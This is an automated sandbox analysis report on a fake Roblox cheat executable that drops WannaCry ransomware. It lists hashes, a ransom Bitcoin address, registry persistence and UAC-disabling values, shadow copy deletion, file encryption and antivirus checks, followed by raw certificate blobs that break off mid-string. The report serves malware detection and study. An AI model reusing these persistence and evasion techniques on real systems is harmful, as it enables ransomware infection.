Analysis
-
max time kernel
697s -
max time network
698s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
01-04-2023 11:40
Static task
static1
Behavioral task
behavioral1
Sample
Roblox Evon Exploit V4_80175.exe
Resource
win10-20230220-en
Behavioral task
behavioral2
Sample
Roblox Evon Exploit V4_80175.exe
Resource
win10v2004-20230220-en
Errors
General
-
Target
Roblox Evon Exploit V4_80175.exe
-
Size
8.7MB
-
MD5
98194b1fd3ceea50438976b40ea59d05
-
SHA1
ed918fbb5765aa91e5c9d2c492ec00667478ac35
-
SHA256
3e091df4051e6b0859c2142a0869a415e5968c20edb5e9a60fcd077f7b61be19
-
SHA512
9587acb23ee51e4743c5399b78b64f2a0e87e2413cd56e220df8c08ebe0f352ac0ca83c1826f09718876a6248057e9cbac0f38ee725de83b4ca7de4f805f30bf
-
SSDEEP
196608:wu6nOE62LOa8ewFCrqNeuUG59Fa9FVDNWXVkHo/ly:MOb2C6wFCrqNZ529PDNs2Ho/k
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\@Please_Read_Me@.txt
wannacry
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Local\\system.exe" reg.exe -
Processes:
reg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe -
Wannacry
WannaCry is a ransomware cryptoworm.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 9 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
Endermanch@WannaCrypt0r.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\SendUse.raw.WNCRY Endermanch@WannaCrypt0r.exe File created C:\Users\Admin\Pictures\ConvertToSplit.raw.WNCRYT Endermanch@WannaCrypt0r.exe File opened for modification C:\Users\Admin\Pictures\ConvertToSplit.raw.WNCRY Endermanch@WannaCrypt0r.exe File created C:\Users\Admin\Pictures\DisableMount.png.WNCRYT Endermanch@WannaCrypt0r.exe File opened for modification C:\Users\Admin\Pictures\DisableMount.png.WNCRY Endermanch@WannaCrypt0r.exe File created C:\Users\Admin\Pictures\SendUse.raw.WNCRYT Endermanch@WannaCrypt0r.exe File renamed C:\Users\Admin\Pictures\ConvertToSplit.raw.WNCRYT => C:\Users\Admin\Pictures\ConvertToSplit.raw.WNCRY Endermanch@WannaCrypt0r.exe File renamed C:\Users\Admin\Pictures\DisableMount.png.WNCRYT => C:\Users\Admin\Pictures\DisableMount.png.WNCRY Endermanch@WannaCrypt0r.exe File renamed C:\Users\Admin\Pictures\SendUse.raw.WNCRYT => C:\Users\Admin\Pictures\SendUse.raw.WNCRY Endermanch@WannaCrypt0r.exe -
Drops startup file 2 IoCs
Processes:
Endermanch@WannaCrypt0r.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD7BEA.tmp Endermanch@WannaCrypt0r.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD7C00.tmp Endermanch@WannaCrypt0r.exe -
Executes dropped EXE 11 IoCs
Processes:
setup80175.exeGenericSetup.exetaskdl.exesystem.exe@WanaDecryptor@.exe@WanaDecryptor@.exetaskhsvc.exetaskdl.exetaskse.exe@WanaDecryptor@.exetaskhsvc.exepid process 1476 setup80175.exe 4296 GenericSetup.exe 5060 taskdl.exe 2216 system.exe 5092 @WanaDecryptor@.exe 2880 @WanaDecryptor@.exe 4656 taskhsvc.exe 3768 taskdl.exe 784 taskse.exe 2276 @WanaDecryptor@.exe 2036 taskhsvc.exe -
Loads dropped DLL 22 IoCs
Processes:
GenericSetup.exetaskhsvc.exepid process 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4296 GenericSetup.exe 4656 taskhsvc.exe 4656 taskhsvc.exe 4656 taskhsvc.exe 4656 taskhsvc.exe 4656 taskhsvc.exe 4656 taskhsvc.exe 4656 taskhsvc.exe -
Modifies file permissions 1 TTPs 1 IoCs
-
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
reg.exereg.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\cveybzquncem713 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Temp1_WannaCrypt0r.zip\\tasksche.exe\"" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "C:\\Users\\Admin\\AppData\\Local\\system.exe" reg.exe -
Checks for any installed AV software in registry 1 TTPs 8 IoCs
Processes:
GenericSetup.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast\Version GenericSetup.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast GenericSetup.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV\Dir GenericSetup.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV GenericSetup.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVG\AV\Dir GenericSetup.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVG\AV GenericSetup.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast\Version GenericSetup.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast GenericSetup.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
Endermanch@WannaCrypt0r.exe@WanaDecryptor@.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp" Endermanch@WannaCrypt0r.exe Set value (str) \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp" @WanaDecryptor@.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 2964 2880 WerFault.exe @WanaDecryptor@.exe 2536 2880 WerFault.exe @WanaDecryptor@.exe -
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
firefox.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 15 IoCs
Processes:
LogonUI.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "173" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe -
Modifies registry class 1 IoCs
Processes:
firefox.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings firefox.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Processes:
GenericSetup.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8CF427FD790C3AD166068DE81E57EFBB932272D4\Blob = 0f0000000100000020000000fde5f2d9ce2026e1e10064c0a468c9f355b90acf85baf5ce6f52d4016837fd94090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000041000000303f3020060a6086480186fa6c0a010230123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c07f000000010000002c000000302a060a2b0601040182370a030406082b0601050507030506082b0601050507030606082b0601050507030762000000010000002000000043df5774b03e7fef5fe40d931a7bedf1bb2e6b42738c4e6d3841103d3aa7f3390b000000010000001800000045006e00740072007500730074002e006e006500740000001400000001000000140000006a72267ad01eef7de73b6951d46c8d9f901266ab1d0000000100000010000000521b5f4582c1dcaae381b05e37ca2d347e000000010000000800000000c001b39667d6010300000001000000140000008cf427fd790c3ad166068de81e57efbb932272d42000000001000000420400003082043e30820326a00302010202044a538c28300d06092a864886f70d01010b05003081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d204732301e170d3039303730373137323535345a170d3330313230373137353535345a3081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100ba84b672db9e0c6be299e93001a776ea32b895411ac9da614e5872cffef68279bf7361060aa527d8b35fd3454e1c72d64e32f2728a0ff78319d06a808000451eb0c7e79abf1257271ca3682f0a87bd6a6b0e5e65f31c77d5d4858d7021b4b332e78ba2d5863902b1b8d247cee4c949c43ba7defb547d57bef0e86ec279b23a0b55e250981632135c2f7856c1c294b3f25ae4279a9f24d7c6ecd09b2582e3ccc2c445c58c977a066b2a119fa90a6e483b6fdbd4111942f78f07bff5535f9c3ef4172ce669ac4e324c6277eab7e8e5bb34bc198bae9c51e7b77eb553b13322e56dcf703c1afae29b67b683f48da5af624c4de058ac64341203f8b68d946324a4710203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604146a72267ad01eef7de73b6951d46c8d9f901266ab300d06092a864886f70d01010b05000382010100799f1d96c6b6793f228d87d3870304606a6b9a2e59897311ac43d1f513ff8d392bc0f2bd4f708ca92fea17c40b549ed41b9698333ca8ad62a20076ab59696e061d7ec4b9448d98af12d461db0a194647f3ebf763c1400540a5d2b7f4b59a36bfa98876880455042b9c877f1a373c7e2da51ad8d4895ecabdac3d6cd86dafd5f3760fcd3b8838229d6c939ac43dbf821b653fa60f5daafce5b215cab5adc6bc3dd084e8ea0672b04d393278bf3e119c0ba49d9a21f3f09b0b3078dbc1dc8743febc639acac5c21cc9c78dff3b125808e6b63dec7a2c4efb8396ce0c3c69875473a473c293ff5110ac155401d8fc05b189a17f74839a49d7dc4e7b8a486f8b45f6 GenericSetup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8CF427FD790C3AD166068DE81E57EFBB932272D4\Blob = 190000000100000010000000fa46ce7cbb85cfb4310075313a09ee050300000001000000140000008cf427fd790c3ad166068de81e57efbb932272d47e000000010000000800000000c001b39667d6011d0000000100000010000000521b5f4582c1dcaae381b05e37ca2d341400000001000000140000006a72267ad01eef7de73b6951d46c8d9f901266ab0b000000010000001800000045006e00740072007500730074002e006e0065007400000062000000010000002000000043df5774b03e7fef5fe40d931a7bedf1bb2e6b42738c4e6d3841103d3aa7f3397f000000010000002c000000302a060a2b0601040182370a030406082b0601050507030506082b0601050507030606082b06010505070307530000000100000041000000303f3020060a6086480186fa6c0a010230123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f0000000100000020000000fde5f2d9ce2026e1e10064c0a468c9f355b90acf85baf5ce6f52d4016837fd942000000001000000420400003082043e30820326a00302010202044a538c28300d06092a864886f70d01010b05003081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d204732301e170d3039303730373137323535345a170d3330313230373137353535345a3081be310b300906035504061302555331163014060355040a130d456e74727573742c20496e632e31283026060355040b131f536565207777772e656e74727573742e6e65742f6c6567616c2d7465726d7331393037060355040b1330286329203230303920456e74727573742c20496e632e202d20666f7220617574686f72697a656420757365206f6e6c793132303006035504031329456e747275737420526f6f742043657274696669636174696f6e20417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100ba84b672db9e0c6be299e93001a776ea32b895411ac9da614e5872cffef68279bf7361060aa527d8b35fd3454e1c72d64e32f2728a0ff78319d06a808000451eb0c7e79abf1257271ca3682f0a87bd6a6b0e5e65f31c77d5d4858d7021b4b332e78ba2d5863902b1b8d247cee4c949c43ba7defb547d57bef0e86ec279b23a0b55e250981632135c2f7856c1c294b3f25ae4279a9f24d7c6ecd09b2582e3ccc2c445c58c977a066b2a119fa90a6e483b6fdbd4111942f78f07bff5535f9c3ef4172ce669ac4e324c6277eab7e8e5bb34bc198bae9c51e7b77eb553b13322e56dcf703c1afae29b67b683f48da5af624c4de058ac64341203f8b68d946324a4710203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604146a72267ad01eef7de73b6951d46c8d9f901266ab300d06092a864886f70d01010b05000382010100799f1d96c6b6793f228d87d3870304606a6b9a2e59897311ac43d1f513ff8d392bc0f2bd4f708ca92fea17c40b549ed41b9698333ca8ad62a20076ab59696e061d7ec4b9448d98af12d461db0a194647f3ebf763c1400540a5d2b7f4b59a36bfa98876880455042b9c877f1a373c7e2da51ad8d4895ecabdac3d6cd86dafd5f3760fcd3b8838229d6c939ac43dbf821b653fa60f5daafce5b215cab5adc6bc3dd084e8ea0672b04d393278bf3e119c0ba49d9a21f3f09b0b3078dbc1dc8743febc639acac5c21cc9c78dff3b125808e6b63dec7a2c4efb8396ce0c3c69875473a473c293ff5110ac155401d8fc05b189a17f74839a49d7dc4e7b8a486f8b45f6 GenericSetup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e75490f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e4190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e GenericSetup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c000000010000000400000000100000190000000100000010000000ffac207997bb2cfe865570179ee037b9030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e199604000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e GenericSetup.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 GenericSetup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 0f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e42000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a